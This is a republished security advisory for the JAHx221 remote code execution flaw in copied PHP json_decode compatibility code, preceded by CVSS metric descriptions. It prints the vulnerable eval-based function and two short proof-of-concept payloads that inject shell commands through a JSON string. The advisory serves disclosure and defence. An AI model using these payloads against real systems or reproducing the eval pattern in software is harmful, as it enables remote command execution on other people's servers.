The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: PHP Library Remote Code Execution
JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function
===============================================================================
Several PHP compatability libraries contain a potential remote code
execution
flaw in their `json_decode()` function based on having copy pasted existing
vulnerable code.
Identifiers
---------------------------------------
* JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txt
Affected components
---------------------------------------
* WassUp Realtime analytics wordpress plugin/compat library -
https://wordpress.org/plugins/wassup/
* AjaXplorer Core -
https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released
* FlexoCMS - https://github.com/flexocms/flexo1.source
* Various code -
https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code
* compat_functions.php - http://techfromhel.com
Description
---------------------------------------
This appears to date back to a compatability library published in 2010 and
appears in several code bases, with no, or a few variations.
The vulnerable code generally share the following characteristic:
* The json_decode function is declared if it does not exist
* some str_replace occurs to transform the json representation to PHP
* eval($out)
Since `eval()` is turing complete, it is generally considered unsafe to use
it
on user controlled or user influenced data, however it is unclear if
practical
exploitation would be possible due to the likely presence of an existing
json_decode function.
```php
/**
* compat_functions.php
* Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for
* backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively
* @author: Helene D. <http://techfromhel.com>
* @version: 0.3 - 2010-09-13
* @since Wassup 1.8
*/
/**
* Convert simple JSON data into a PHP object (default) or associative
* array. Emulates 'json_decode' function from PHP 5.2+
* @author: Helene Duncker <http://techfromhel.com>
* @param string,boolean
* @return (array or object)
*/
if (!function_exists('json_decode')) {
function json_decode($json,$to_array=false) {
$x=false;
if (!empty($json) && strpos($json,'{"')!==false) {
$out =
'$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json);
eval($out.';');
if (!$to_array) $x = (object) $x;
}
return $x;
} //end function json_decode
}
```
Proof of Concept
---------------------------------------
The eval can be exploited a number of ways, both via full or partial
control of the json string:
```php
/* Payload
`id`;//{"
*/
json_decode('`id`;//{"');
```
or partially controlled content:
```php
/* Payload
{"key":"value");echo `id`;//"}
*/
json_decode('{"key":"value");echo `id`;//"}');
```
Credit
---------------------------------------
Eldar "Wireghoul" Marcussen
Solution
---------------------------------------
Ensure json_decode is present as a native function for your PHP
installation.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum